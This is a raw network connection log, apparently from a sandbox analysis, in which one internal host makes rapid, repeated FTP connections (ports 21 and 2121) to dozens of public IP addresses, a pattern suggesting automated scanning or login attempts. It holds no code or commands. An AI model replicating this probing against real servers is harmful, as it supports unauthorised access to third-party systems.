Aug 23, 2023 09:16:49.259450912 CEST	52618	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.261931896 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.261950970 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.262438059 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.262795925 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.278902054 CEST	21	52562	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.281054020 CEST	21	52620	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.281126976 CEST	52620	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.288899899 CEST	2121	52618	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.289097071 CEST	2121	52618	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.289155960 CEST	52618	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.289211988 CEST	52618	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.289912939 CEST	52632	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.297979116 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.298001051 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.298017025 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.298079967 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:49.298302889 CEST	52576	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:49.299242973 CEST	52633	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:49.305597067 CEST	52634	21	192.168.2.3	98.24.43.186
Aug 23, 2023 09:16:49.306523085 CEST	52635	2121	192.168.2.3	98.24.43.186
Aug 23, 2023 09:16:49.317651987 CEST	2121	52618	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.319103956 CEST	2121	52632	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.319251060 CEST	52632	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.319274902 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.319593906 CEST	21	52587	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:49.319931030 CEST	52587	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:49.329355955 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:49.331518888 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:49.331537008 CEST	21	52470	190.64.144.252	192.168.2.3
Aug 23, 2023 09:16:49.331613064 CEST	52470	21	192.168.2.3	190.64.144.252
Aug 23, 2023 09:16:49.332190990 CEST	21	52491	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.337213039 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.337316036 CEST	52619	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:49.337841988 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.338531971 CEST	52630	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.351011038 CEST	2121	52564	119.218.14.42	192.168.2.3
Aug 23, 2023 09:16:49.352200031 CEST	52636	21	192.168.2.3	61.3.129.7
Aug 23, 2023 09:16:49.354687929 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.355294943 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.355572939 CEST	52630	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.371862888 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.399051905 CEST	52637	2121	192.168.2.3	61.3.129.7
Aug 23, 2023 09:16:49.432651043 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.433034897 CEST	52630	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.449161053 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.449271917 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.449373960 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.449434996 CEST	52630	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.449460983 CEST	52630	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.450169086 CEST	52638	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.463073969 CEST	21	52620	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.463392019 CEST	52620	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.465595961 CEST	21	52630	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.466290951 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.466360092 CEST	52638	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.472193003 CEST	21	52576	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.473447084 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.473541975 CEST	52633	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:49.524218082 CEST	2121	52632	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.525054932 CEST	52632	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.534410000 CEST	21	52587	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:49.555185080 CEST	52639	21	192.168.2.3	172.250.212.73
Aug 23, 2023 09:16:49.555494070 CEST	2121	52632	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.557286024 CEST	2121	52632	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.557575941 CEST	52632	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.568485975 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.569119930 CEST	52619	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:49.589479923 CEST	2121	52632	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.589891911 CEST	52632	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.616905928 CEST	52593	21	192.168.2.3	80.148.147.103
Aug 23, 2023 09:16:49.616985083 CEST	52594	2121	192.168.2.3	80.148.147.103
Aug 23, 2023 09:16:49.619520903 CEST	2121	52632	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.620173931 CEST	2121	52632	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.620223045 CEST	52632	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.620398998 CEST	52632	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.621301889 CEST	52640	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.634433985 CEST	21	52620	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.635699987 CEST	21	52620	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.636051893 CEST	52620	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.640733957 CEST	21	52593	80.148.147.103	192.168.2.3
Aug 23, 2023 09:16:49.640758991 CEST	2121	52594	80.148.147.103	192.168.2.3
Aug 23, 2023 09:16:49.649874926 CEST	2121	52632	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.650444031 CEST	2121	52640	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.650538921 CEST	52640	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.659920931 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.660303116 CEST	52633	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:49.668216944 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.672710896 CEST	52638	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.688906908 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.689176083 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.689533949 CEST	52638	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.705739021 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.710649967 CEST	52582	21	192.168.2.3	200.103.10.196
Aug 23, 2023 09:16:49.710661888 CEST	52583	2121	192.168.2.3	200.103.10.196
Aug 23, 2023 09:16:49.741913080 CEST	52578	21	192.168.2.3	65.101.74.221
Aug 23, 2023 09:16:49.741914034 CEST	52580	21	192.168.2.3	82.10.75.75
Aug 23, 2023 09:16:49.741935968 CEST	52584	21	192.168.2.3	47.41.118.24
Aug 23, 2023 09:16:49.741941929 CEST	52579	2121	192.168.2.3	65.101.74.221
Aug 23, 2023 09:16:49.741942883 CEST	52581	2121	192.168.2.3	82.10.75.75
Aug 23, 2023 09:16:49.741992950 CEST	52585	2121	192.168.2.3	47.41.118.24
Aug 23, 2023 09:16:49.769747972 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.770260096 CEST	52638	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.786350012 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.786406994 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.786453009 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.786566973 CEST	52638	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.786623955 CEST	52638	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.787981987 CEST	52641	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.796809912 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.797122955 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:49.797394037 CEST	52619	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:49.804193020 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:49.804265976 CEST	52641	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:49.808060884 CEST	21	52620	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.808388948 CEST	52620	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.838527918 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.838546038 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:49.839014053 CEST	52633	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:49.862687111 CEST	2121	52640	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.863015890 CEST	52640	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.892210007 CEST	2121	52640	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.893729925 CEST	2121	52640	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.894072056 CEST	52640	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.925520897 CEST	2121	52640	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.925820112 CEST	52640	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.955383062 CEST	2121	52640	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.955634117 CEST	52640	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.955733061 CEST	2121	52640	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.955776930 CEST	52640	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.956479073 CEST	52642	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:49.979610920 CEST	21	52620	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.979655981 CEST	21	52620	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:49.979707956 CEST	52620	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.979796886 CEST	52620	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.980662107 CEST	52643	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:49.984926939 CEST	2121	52640	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.988770008 CEST	2121	52642	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:49.988846064 CEST	52642	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.016405106 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.023722887 CEST	52641	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.035100937 CEST	52591	21	192.168.2.3	1.163.166.2
Aug 23, 2023 09:16:50.035115004 CEST	52589	21	192.168.2.3	85.0.83.108
Aug 23, 2023 09:16:50.035116911 CEST	52590	2121	192.168.2.3	85.0.83.108
Aug 23, 2023 09:16:50.039872885 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.040210009 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.040565968 CEST	52641	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.041812897 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:50.056809902 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.065068007 CEST	21	52619	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:50.119620085 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.119965076 CEST	52641	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.132860899 CEST	52638	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.136188030 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.136238098 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.136288881 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.136588097 CEST	52641	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.136588097 CEST	52641	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.137612104 CEST	52644	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.148365021 CEST	52594	2121	192.168.2.3	80.148.147.103
Aug 23, 2023 09:16:50.148376942 CEST	52593	21	192.168.2.3	80.148.147.103
Aug 23, 2023 09:16:50.149137020 CEST	21	52638	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.150924921 CEST	21	52620	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:50.151873112 CEST	21	52643	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:50.152776957 CEST	21	52641	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.153538942 CEST	52643	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:50.153994083 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.154210091 CEST	52644	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.170370102 CEST	21	52593	80.148.147.103	192.168.2.3
Aug 23, 2023 09:16:50.170913935 CEST	2121	52594	80.148.147.103	192.168.2.3
Aug 23, 2023 09:16:50.175287962 CEST	52646	21	192.168.2.3	86.14.116.7
Aug 23, 2023 09:16:50.175297022 CEST	52645	2121	192.168.2.3	172.250.212.73
Aug 23, 2023 09:16:50.186602116 CEST	2121	52642	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.191323996 CEST	52642	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.224605083 CEST	2121	52642	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.225209951 CEST	2121	52642	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.225620985 CEST	52642	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.258881092 CEST	52647	2121	192.168.2.3	86.14.116.7
Aug 23, 2023 09:16:50.261095047 CEST	2121	52642	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.261657000 CEST	52642	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.276910067 CEST	52650	21	192.168.2.3	93.194.112.4
Aug 23, 2023 09:16:50.276910067 CEST	52649	2121	192.168.2.3	110.12.60.28
Aug 23, 2023 09:16:50.276911974 CEST	52648	21	192.168.2.3	110.12.60.28
Aug 23, 2023 09:16:50.277224064 CEST	52651	2121	192.168.2.3	93.194.112.4
Aug 23, 2023 09:16:50.288851023 CEST	52595	2121	192.168.2.3	185.211.8.170
Aug 23, 2023 09:16:50.288851023 CEST	52592	2121	192.168.2.3	1.163.166.2
Aug 23, 2023 09:16:50.298662901 CEST	2121	52642	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.299215078 CEST	2121	52642	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.299269915 CEST	52642	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.299638987 CEST	52642	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.300204992 CEST	52652	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.305774927 CEST	52653	21	192.168.2.3	71.245.162.83
Aug 23, 2023 09:16:50.305843115 CEST	52654	2121	192.168.2.3	71.245.162.83
Aug 23, 2023 09:16:50.321496010 CEST	52656	2121	192.168.2.3	220.90.0.82
Aug 23, 2023 09:16:50.321890116 CEST	52655	21	192.168.2.3	220.90.0.82
Aug 23, 2023 09:16:50.322065115 CEST	52657	21	192.168.2.3	187.126.66.8
Aug 23, 2023 09:16:50.323082924 CEST	52658	2121	192.168.2.3	187.126.66.8
Aug 23, 2023 09:16:50.326483011 CEST	52659	21	192.168.2.3	151.228.71.98
Aug 23, 2023 09:16:50.331712961 CEST	2121	52642	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.332439899 CEST	2121	52652	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.333985090 CEST	52652	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.335280895 CEST	21	52643	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:50.342005968 CEST	52643	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:50.355056047 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.355520964 CEST	52644	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.372580051 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.372642040 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.373173952 CEST	52644	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.390079975 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.445163012 CEST	52596	21	192.168.2.3	185.211.8.170
Aug 23, 2023 09:16:50.445179939 CEST	52597	21	192.168.2.3	89.1.146.234
Aug 23, 2023 09:16:50.475071907 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.478699923 CEST	52644	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.495075941 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.495105028 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.495121002 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.495640039 CEST	52644	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.495640039 CEST	52644	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.498013973 CEST	52660	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.509128094 CEST	52662	21	192.168.2.3	188.83.47.52
Aug 23, 2023 09:16:50.509133101 CEST	52661	2121	192.168.2.3	151.228.71.98
Aug 23, 2023 09:16:50.509248018 CEST	52663	2121	192.168.2.3	188.83.47.52
Aug 23, 2023 09:16:50.513622999 CEST	21	52643	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:50.515001059 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.515022039 CEST	21	52643	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:50.515480042 CEST	52643	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:50.515520096 CEST	52660	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.534188032 CEST	21	52587	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:50.534620047 CEST	52587	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:50.544390917 CEST	2121	52652	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.547631025 CEST	52652	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.555171967 CEST	52664	21	192.168.2.3	84.123.65.234
Aug 23, 2023 09:16:50.571538925 CEST	52665	2121	192.168.2.3	84.123.65.234
Aug 23, 2023 09:16:50.572110891 CEST	52666	21	192.168.2.3	27.114.172.133
Aug 23, 2023 09:16:50.578193903 CEST	2121	52656	220.90.0.82	192.168.2.3
Aug 23, 2023 09:16:50.578973055 CEST	21	52655	220.90.0.82	192.168.2.3
Aug 23, 2023 09:16:50.582041979 CEST	2121	52652	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.582077980 CEST	2121	52652	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.582583904 CEST	52652	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.617975950 CEST	2121	52652	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.618757010 CEST	52652	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.618829012 CEST	52667	2121	192.168.2.3	27.114.172.133
Aug 23, 2023 09:16:50.633614063 CEST	52668	21	192.168.2.3	27.236.91.137
Aug 23, 2023 09:16:50.634735107 CEST	52669	2121	192.168.2.3	27.236.91.137
Aug 23, 2023 09:16:50.650043964 CEST	52670	21	192.168.2.3	38.152.52.22
Aug 23, 2023 09:16:50.653625965 CEST	2121	52652	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.653664112 CEST	2121	52652	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.654000044 CEST	52652	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.654241085 CEST	52652	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.658009052 CEST	52671	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.666026115 CEST	52598	2121	192.168.2.3	89.1.146.234
Aug 23, 2023 09:16:50.686634064 CEST	2121	52652	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.687592983 CEST	21	52643	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:50.690228939 CEST	2121	52671	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.697375059 CEST	52671	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.698800087 CEST	52643	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:50.723372936 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.726079941 CEST	52660	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.742487907 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.743036032 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.746426105 CEST	52660	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.748004913 CEST	21	52587	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:50.748024940 CEST	21	52587	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:50.748043060 CEST	21	52587	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:50.748284101 CEST	52587	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:50.748284101 CEST	52587	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:50.750341892 CEST	52672	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:50.763359070 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.805784941 CEST	52644	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.822556019 CEST	21	52644	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.825766087 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.826504946 CEST	52660	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.842869043 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.842911959 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.842938900 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.843303919 CEST	52660	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.843303919 CEST	52660	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.844176054 CEST	52673	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.859711885 CEST	21	52660	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.860430956 CEST	21	52673	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:50.862097979 CEST	52673	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:50.870850086 CEST	21	52643	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:50.870892048 CEST	21	52643	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:50.871239901 CEST	52643	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:50.871239901 CEST	52643	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:50.874052048 CEST	52674	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:50.891063929 CEST	2121	52671	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.895723104 CEST	52671	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.929295063 CEST	2121	52671	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.931557894 CEST	2121	52671	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.938085079 CEST	52671	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:50.945171118 CEST	52599	21	192.168.2.3	172.91.103.245
Aug 23, 2023 09:16:50.945178032 CEST	52600	2121	192.168.2.3	172.91.103.245
Aug 23, 2023 09:16:50.962681055 CEST	21	52587	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:50.965245008 CEST	21	52672	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:50.973534107 CEST	2121	52671	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:50.973628998 CEST	52672	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:50.978060961 CEST	52671	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.011261940 CEST	2121	52671	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.011538982 CEST	2121	52671	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.014353037 CEST	52671	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.015161991 CEST	52671	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.022043943 CEST	52675	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.043554068 CEST	21	52643	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.043581963 CEST	21	52633	59.178.35.163	192.168.2.3
Aug 23, 2023 09:16:51.046865940 CEST	21	52674	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:51.047518969 CEST	2121	52671	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.051558971 CEST	2121	52675	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:51.051603079 CEST	52674	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:51.053112984 CEST	52633	21	192.168.2.3	59.178.35.163
Aug 23, 2023 09:16:51.055907011 CEST	52675	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:51.062772989 CEST	21	52673	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.063168049 CEST	52673	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.079543114 CEST	21	52673	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.079946995 CEST	21	52673	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.080290079 CEST	52673	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.085810900 CEST	52656	2121	192.168.2.3	220.90.0.82
Aug 23, 2023 09:16:51.085838079 CEST	52655	21	192.168.2.3	220.90.0.82
Aug 23, 2023 09:16:51.096499920 CEST	21	52673	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.164597034 CEST	21	52673	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.165036917 CEST	52673	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.181305885 CEST	21	52673	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.181329966 CEST	21	52673	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.181344986 CEST	21	52673	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:51.181433916 CEST	52673	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.181569099 CEST	52673	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.182137966 CEST	52676	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:51.190469980 CEST	21	52672	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:51.190840960 CEST	52672	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:51.198091984 CEST	21	52673	46.251.235.80	192.168.2.3
